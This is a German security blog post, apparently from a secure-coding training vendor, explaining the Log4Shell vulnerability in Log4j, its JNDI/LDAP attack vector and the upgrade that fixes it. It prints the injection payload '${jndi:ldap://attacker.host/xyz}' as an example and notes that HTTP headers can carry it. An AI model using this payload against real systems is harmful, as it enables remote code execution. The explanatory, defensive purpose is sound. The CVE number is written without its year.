Die Log4j-Schwachstelle erklärt - Angriffsvektor und wie man sie verhindert

Veröffentlicht Jan 16, 2022
von Laura Verheyde
FALLSTUDIE

Die Log4j-Schwachstelle erklärt - Angriffsvektor und wie man sie verhindert

Veröffentlicht Jan 16, 2022
von Laura Verheyde
Ressource anzeigen
Ressource anzeigen

Am 9. Dezember wurde eine 0-Day-Schwachstelle in der Java-Bibliothek Log4j bekannt gegeben. CVE-44228, genannt Log4Shell, wurde als "hochgradig schwerwiegend" eingestuft, da der Exploit zu Remotecodeausführung(RCE) führen kann. Außerdem ist log4j-core eine der am häufigsten verwendeten Java-Protokollierungsbibliotheken und gefährdet daher Millionen von Anwendungen.

Möchten Sie Ihre Fähigkeiten im Umgang mit Log4Shell schnell verbessern? 

Wir haben einen Showcase erstellt, der Sie von der grundlegenden Idee von Log4Shell bis hin zum Ausnutzen dieser Schwachstelle in einem Simulator namens Mission führt. In dieser Mission werden wir Ihnen zeigen, wie sich die Log4j-Schwachstelle auf Ihre Infrastruktur und Anwendungen auswirken kann. Klicken Sie hier, um direkt in den Showcase einzusteigen, oder lesen Sie weiter, um mehr über die Sicherheitslücke im Detail zu erfahren.

Alte Nachrichten?

Die Sicherheitslücke ist nicht neu. Bereits in ihrem BlackHat-Vortrag 2016 betonten die Sicherheitsforscher Alvaro Muñoz und Oleksandr Mirosh, dass "Anwendungen keine JNDI-Lookups mit nicht vertrauenswürdigen Daten durchführen sollten", und veranschaulichten, wie eine gezielte JNDI/LDAP-Injektion zur Remotecodeausführung führen könnte. Und genau das ist der Kern von Log4Shell.

Angriffsvektor

Die Injektionsnutzlast von Log4Shell sieht wie folgt aus:

${jndi:ldap://attacker.host/xyz}

To understand this we need to know about Java’s Expression Language (EL). Expressions written in the following syntax: ${expr} will be evaluated at runtime. For example, ${java:version} will return the Java version being used.

Als Nächstes kommt JNDI ( Java Naming and Directory Interface), eine API, die eine Verbindung zu Diensten mit Protokollen wie LDAP, DNS, RMI usw. ermöglicht, um Daten oder Ressourcen abzurufen. Einfach ausgedrückt, führt JNDI in unserem obigen Beispiel mit bösartiger Nutzlast eine Abfrage des vom Angreifer kontrollierten LDAP-Servers durch. Die Antwort könnte zum Beispiel auf eine Java-Klassendatei verweisen, die bösartigen Code enthält, der dann auf dem anfälligen Server ausgeführt wird.

Was diese Schwachstelle so problematisch macht, ist die Tatsache, dass Log4j alle Protokolleinträge auswertet und alle protokollierten Benutzereingaben, die in EL-Syntax mit dem Präfix "jndi" geschrieben sind, nachschlägt. Die Nutzlast kann an jeder Stelle eingeschleust werden, an der Benutzer Daten eingeben können, z. B. in Formularfeldern. Auch HTTP-Header wie User-Agent und X-Forwarded-For sowie andere Header können so angepasst werden, dass sie die Nutzlast tragen.

Um den Exploit selbst zu erleben, gehen Sie zu unserem Showcase und springen Sie zu Schritt 2 - "Auswirkungen erleben".

Prävention: Sensibilisierung

Ein Upgrade wird für alle Anwendungen empfohlen, da Log4j den verwundbaren Code gepatcht hat. Die Versionen 2.15.0 und 2.16.0 enthielten jedoch eine DDoS- und andere Schwachstellen, so dass ab Ende Dezember ein Upgrade auf 2.17.0 empfohlen wird.

Als Entwickler, die Code schreiben, müssen wir jederzeit die Sicherheit berücksichtigen. Log4Shell hat uns gelehrt, dass die Verwendung von Frameworks oder Bibliotheken von Drittanbietern mit Risiken verbunden ist. Wir müssen uns der Tatsache bewusst sein, dass die Sicherheit unserer Anwendung durch die Verwendung externer Quellen, von denen wir naiverweise annehmen, dass sie sicher sind, gefährdet werden kann. 

Hätte diese Sicherheitslücke verhindert werden können? Ja und nein. Einerseits können die Entwickler nur so viel tun, wie anfällige Komponenten über Software von Drittanbietern eingeführt werden. Andererseits ist die Lektion, die wir daraus gelernt haben, eine, die immer wieder wiederholt wird, nämlich dass man sich niemals auf Benutzereingaben verlassen sollte.

Secure Code Warrior ist der Ansicht, dass sicherheitsbewusste Entwickler der beste Weg sind, um zu verhindern, dass Schwachstellen im Code auftreten. Da SCW in großem Umfang programmiergerüstspezifische Schulungen anbietet, konnten die Unternehmenskunden anhand der Berichtsdaten schnell herausfinden, wer die betroffenen Java-Entwickler sind. Sie verließen sich auch auf ihre vom SCW geschulten Sicherheitsexperten, um das Upgrade von Log4j zu beschleunigen.

Speziell für Java-Entwickler bietet Secure Code Warrior mit Sensei ein kostenloses IntelliJ-Plugin. Dieses regelbasierte Code-Analyse-Tool kann verwendet werden, um Codierungsrichtlinien durchzusetzen und Schwachstellen zu verhindern und zu beheben. Sie können Ihre eigenen Regeln erstellen oder unsere vorgefertigten Kochbücher verwenden. Stöbern Sie in unseren Rezepten, und vergessen Sie nicht, unser Log4j-Kochbuch herunterzuladen, mit dem Sie die Log4Shell-Schwachstelle im Handumdrehen finden und beheben können.

Verbessern Sie Ihre Fähigkeiten zur Verteidigung gegen Log4Shell

Möchten Sie das, was Sie in diesem Blogbeitrag gelernt haben, in die Praxis umsetzen? Unser Showcase kann Ihnen dabei helfen. Zu Beginn des Showcase erhalten Sie einen kurzen Überblick über diese Schwachstelle. Anschließend werden Sie in eine simulierte Umgebung geführt, in der Sie den Exploit unter Anleitung ausprobieren können.


Ressource anzeigen
Ressource anzeigen

Autor

Laura Verheyde

Laura Verheyde ist Softwareentwicklerin bei Secure Code Warrior und beschäftigt sich mit der Erforschung von Schwachstellen und der Erstellung von Inhalten für Missions und Coding Labs.

Sie wollen mehr?

Tauchen Sie ein in unsere neuesten Erkenntnisse über sichere Kodierung im Blog.

Unsere umfangreiche Ressourcenbibliothek zielt darauf ab, die menschliche Herangehensweise an eine sichere Weiterbildung im Bereich der Programmierung zu stärken.

Blog ansehen
Sie wollen mehr?

Holen Sie sich die neuesten Forschungsergebnisse zur entwicklergesteuerten Sicherheit

Unsere umfangreiche Ressourcenbibliothek ist voll von hilfreichen Ressourcen, von Whitepapers bis hin zu Webinaren, die Ihnen den Einstieg in die entwicklungsorientierte sichere Programmierung erleichtern. Erforschen Sie sie jetzt.

Ressourcendrehscheibe

Die Log4j-Schwachstelle erklärt - Angriffsvektor und wie man sie verhindert

Veröffentlicht Jan 16, 2022
Von Laura Verheyde

Am 9. Dezember wurde eine 0-Day-Schwachstelle in der Java-Bibliothek Log4j bekannt gegeben. CVE-44228, genannt Log4Shell, wurde als "hochgradig schwerwiegend" eingestuft, da der Exploit zu Remotecodeausführung(RCE) führen kann. Außerdem ist log4j-core eine der am häufigsten verwendeten Java-Protokollierungsbibliotheken und gefährdet daher Millionen von Anwendungen.

Möchten Sie Ihre Fähigkeiten im Umgang mit Log4Shell schnell verbessern? 

Wir haben einen Showcase erstellt, der Sie von der grundlegenden Idee von Log4Shell bis hin zum Ausnutzen dieser Schwachstelle in einem Simulator namens Mission führt. In dieser Mission werden wir Ihnen zeigen, wie sich die Log4j-Schwachstelle auf Ihre Infrastruktur und Anwendungen auswirken kann. Klicken Sie hier, um direkt in den Showcase einzusteigen, oder lesen Sie weiter, um mehr über die Sicherheitslücke im Detail zu erfahren.

Alte Nachrichten?

Die Sicherheitslücke ist nicht neu. Bereits in ihrem BlackHat-Vortrag 2016 betonten die Sicherheitsforscher Alvaro Muñoz und Oleksandr Mirosh, dass "Anwendungen keine JNDI-Lookups mit nicht vertrauenswürdigen Daten durchführen sollten", und veranschaulichten, wie eine gezielte JNDI/LDAP-Injektion zur Remotecodeausführung führen könnte. Und genau das ist der Kern von Log4Shell.

Angriffsvektor

Die Injektionsnutzlast von Log4Shell sieht wie folgt aus:

${jndi:ldap://attacker.host/xyz}

To understand this we need to know about Java’s Expression Language (EL). Expressions written in the following syntax: ${expr} will be evaluated at runtime. For example, ${java:version} will return the Java version being used.

Als Nächstes kommt JNDI ( Java Naming and Directory Interface), eine API, die eine Verbindung zu Diensten mit Protokollen wie LDAP, DNS, RMI usw. ermöglicht, um Daten oder Ressourcen abzurufen. Einfach ausgedrückt, führt JNDI in unserem obigen Beispiel mit bösartiger Nutzlast eine Abfrage des vom Angreifer kontrollierten LDAP-Servers durch. Die Antwort könnte zum Beispiel auf eine Java-Klassendatei verweisen, die bösartigen Code enthält, der dann auf dem anfälligen Server ausgeführt wird.

Was diese Schwachstelle so problematisch macht, ist die Tatsache, dass Log4j alle Protokolleinträge auswertet und alle protokollierten Benutzereingaben, die in EL-Syntax mit dem Präfix "jndi" geschrieben sind, nachschlägt. Die Nutzlast kann an jeder Stelle eingeschleust werden, an der Benutzer Daten eingeben können, z. B. in Formularfeldern. Auch HTTP-Header wie User-Agent und X-Forwarded-For sowie andere Header können so angepasst werden, dass sie die Nutzlast tragen.

Um den Exploit selbst zu erleben, gehen Sie zu unserem Showcase und springen Sie zu Schritt 2 - "Auswirkungen erleben".

Prävention: Sensibilisierung

Ein Upgrade wird für alle Anwendungen empfohlen, da Log4j den verwundbaren Code gepatcht hat. Die Versionen 2.15.0 und 2.16.0 enthielten jedoch eine DDoS- und andere Schwachstellen, so dass ab Ende Dezember ein Upgrade auf 2.17.0 empfohlen wird.

Als Entwickler, die Code schreiben, müssen wir jederzeit die Sicherheit berücksichtigen. Log4Shell hat uns gelehrt, dass die Verwendung von Frameworks oder Bibliotheken von Drittanbietern mit Risiken verbunden ist. Wir müssen uns der Tatsache bewusst sein, dass die Sicherheit unserer Anwendung durch die Verwendung externer Quellen, von denen wir naiverweise annehmen, dass sie sicher sind, gefährdet werden kann. 

Hätte diese Sicherheitslücke verhindert werden können? Ja und nein. Einerseits können die Entwickler nur so viel tun, wie anfällige Komponenten über Software von Drittanbietern eingeführt werden. Andererseits ist die Lektion, die wir daraus gelernt haben, eine, die immer wieder wiederholt wird, nämlich dass man sich niemals auf Benutzereingaben verlassen sollte.

Secure Code Warrior ist der Ansicht, dass sicherheitsbewusste Entwickler der beste Weg sind, um zu verhindern, dass Schwachstellen im Code auftreten. Da SCW in großem Umfang programmiergerüstspezifische Schulungen anbietet, konnten die Unternehmenskunden anhand der Berichtsdaten schnell herausfinden, wer die betroffenen Java-Entwickler sind. Sie verließen sich auch auf ihre vom SCW geschulten Sicherheitsexperten, um das Upgrade von Log4j zu beschleunigen.

Speziell für Java-Entwickler bietet Secure Code Warrior mit Sensei ein kostenloses IntelliJ-Plugin. Dieses regelbasierte Code-Analyse-Tool kann verwendet werden, um Codierungsrichtlinien durchzusetzen und Schwachstellen zu verhindern und zu beheben. Sie können Ihre eigenen Regeln erstellen oder unsere vorgefertigten Kochbücher verwenden. Stöbern Sie in unseren Rezepten, und vergessen Sie nicht, unser Log4j-Kochbuch herunterzuladen, mit dem Sie die Log4Shell-Schwachstelle im Handumdrehen finden und beheben können.

Verbessern Sie Ihre Fähigkeiten zur Verteidigung gegen Log4Shell

Möchten Sie das, was Sie in diesem Blogbeitrag gelernt haben, in die Praxis umsetzen? Unser Showcase kann Ihnen dabei helfen. Zu Beginn des Showcase erhalten Sie einen kurzen Überblick über diese Schwachstelle. Anschließend werden Sie in eine simulierte Umgebung geführt, in der Sie den Exploit unter Anleitung ausprobieren können.


Wir bitten Sie um Ihre Erlaubnis, Ihnen Informationen über unsere Produkte und/oder verwandte Themen der sicheren Codierung zuzusenden. Wir werden Ihre persönlichen Daten immer mit äußerster Sorgfalt behandeln und sie niemals zu Marketingzwecken an andere Unternehmen verkaufen.

Senden
Um das Formular abzuschicken, aktivieren Sie bitte "Analytics"-Cookies. Sie können die Cookies wieder deaktivieren, sobald Sie fertig sind.